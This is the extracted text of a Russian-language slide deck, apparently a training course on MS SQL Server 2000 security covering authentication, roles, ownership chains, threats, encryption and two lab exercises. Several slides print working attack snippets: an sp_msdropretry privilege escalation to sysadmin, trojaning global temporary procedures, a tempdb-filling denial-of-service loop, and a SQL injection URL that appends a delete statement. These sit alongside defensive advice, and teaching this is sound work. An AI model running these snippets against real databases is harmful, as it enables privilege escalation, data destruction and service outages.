Содержание
-
Безопасность СУБД Раздел IV
-
БезопасностьСУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД
-
Безопасность СУБД
ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ Пользовательские бюджеты Механизм аудита Механизм разграничения доступа Язык программирования Механизм управления паролями
-
Методы аутентификации
Integrated Windows NTLM Kerberos Local SAM Active Directory pass XOR 0xA5 master sysxlogins pwd pwdencrypt(pass) SQL Server Authentication
-
Разграничение доступа
master sysxlogins Server login select * from db.table db table Database master Database DB db sysusers Db user db syspermissions Grant Blank Deny
-
Стандартные учетные записи
Server login SA Builtin/Administrators Standard Windows Group Database Users DBO Guest master tempdb
-
Роли пользователей
Создавать БД Создавать login Удалять БД Читать данные Удалять таблицу Писать данные Роли уровня сервера Роли уровня БД public
-
Стандартные роли уровня сервера
-
Стандартные роли уровня базы данных
-
Управление сервером
-
Цепочка владения
Ownership Chains Db.owner. user_table Db.owner.sp_select DECLARE @usr char(30) SET @usr = user SELECT * from user_table where user_name=@usr user - execute user - select user select * from user_table exec sp_select
-
Угрозы безопасности СУБД
Компрометация ОС с помощью СУБД Использование системных хранимых процедур Обход защитных механизмов при физическом доступе Перехват данных при передаче по сети Использование цепочки владения для повышения полномочий Получение паролей пользователей Внедрение SQL кода (SQL Injection)
-
Шифрование трафика (SSL/TLS)
Перехват данных при передаче по сети 1. Получить Server Authentication Certificate для использования с FQDN сервера 2. Установить сертификат в локальное хранилище компьютера 3. Включить шифрование Force Protocol Encryption 4. Проверить соединение (ODBC): Driver=SQLServer;Server=ServerName; Network=DBNETLIB.DLL;Encrypt=YES
-
Учетные записи служб
SQL Server Server Agent Microsoft Search DTS Local System User Local System User Local System User Local System User Компрометация ОС с помощью СУБД
-
Шифрование баз данных
Обход защитных механизмов при физическом доступе Выполнить рекомендации по настройке EFS Настроить сервис сервера на запуск от имени доменной учетной записи Остановить SQL сервер Зайти в систему от имени доменной учетной записи Использовать утилиту chipherс ключом /Wдля шифрования файлов базы данных (*.ldf, *.mdf) Очистить кэш доменных учетных записей Запретить вход на сервер группе builtin/administrators Использовать SysKey
-
Межбазовая цепочка владения
Cross database ownership chain Master.dbo. sysxlogins Database master Database test dbo test.dbo.test create proc dbo.test as select * from master.dbo.sysxlogins exec test
-
Получение пользователем db_owner привилегий sa Создаем вид для модификации таблицыsysxlogins create view dbo.test2 as select * from master.dbo.sysxlogins Используем ошибку в sp_msdropretry для замены sid (0x01=sa) exec sp_msdropretry ‘xx update sysusers set sid=0x01 where name= ‘’dbo’’’, ‘xx’ Set xstatus field to 18 (sysadmin) exec sp_msdropretry ‘xx update dbo.test set xstatus=18 where name= SUSER_SNAME()’, ‘xx’
-
Способ защиты Отключена по умолчанию в SQL Server 2000 Service Pack 3 Есть возможность включить в пределах сервера и отдельной базы данных База данных master не поддерживает опцию db chaining exec sp_configure «Cross DB Ownership Chaining», «1» exec sp_dboption «databasename», «db chaining», «true»
-
Троянский код в хранимых процедурах
Временные хранимые процедуры: Могут быть созданы любым пользователем Могут быть выполнены любым пользователем Могут быть модифицированы любым пользователем select name from tempdb..sysobjects where name like '##%' 1. Поиск процедуры: 2. Модификация: alter proc ## as 3. Ожидание выполнения привилегированным пользователем
-
Microsoft не считает данное поведение уязвимостью Глобальные процедуры работают в соответствии с документацией «by Design» Вывод: Не использовать глобальные хранимые процедуры
-
Отказ в обслуживании
Временные таблицы могут создаваться любым пользователем Пользователь guestне может быть удален из базы данных tempdb create table #tmp (x varchar(8000)) insert into #tmp select 'X' while 1=1 insert into #tmp select * from #tmp
-
Использование временных таблиц Database temp Database test user #tmp create table #tmp (x varchar(8000)) insert into #tmp select 'X' while 1=1 insert into #tmp select * from #tmp #tmp
-
SQL Injection
Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением операторов языка SQL SQL Injection могут быть подвержены: - WEB приложения - Двухзвенные приложения - Хранимые процедуры
-
WWW id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query) http://ws-gordeyechik/inject.asp?id=1 select * from test where id=1
-
http://ws-gordeyechik/inject.asp?id=1;delete from test id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query) WWW select * from test where id=1; delete from test
-
Программа Data Thief
-
Практическая работа 23
Исследование метода SQL Injection
-
Анализ защищённости СУБД
ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ Database Scanner
-
Выполняемые проверки
-
Практическая работа 24
Анализ защищённости СУБД MSSQL Server с помощью программы Database Scanner
-
Вопросы ?
Нет комментариев для данной презентации
Помогите другим пользователям — будьте первым, кто поделится своим мнением об этой презентации.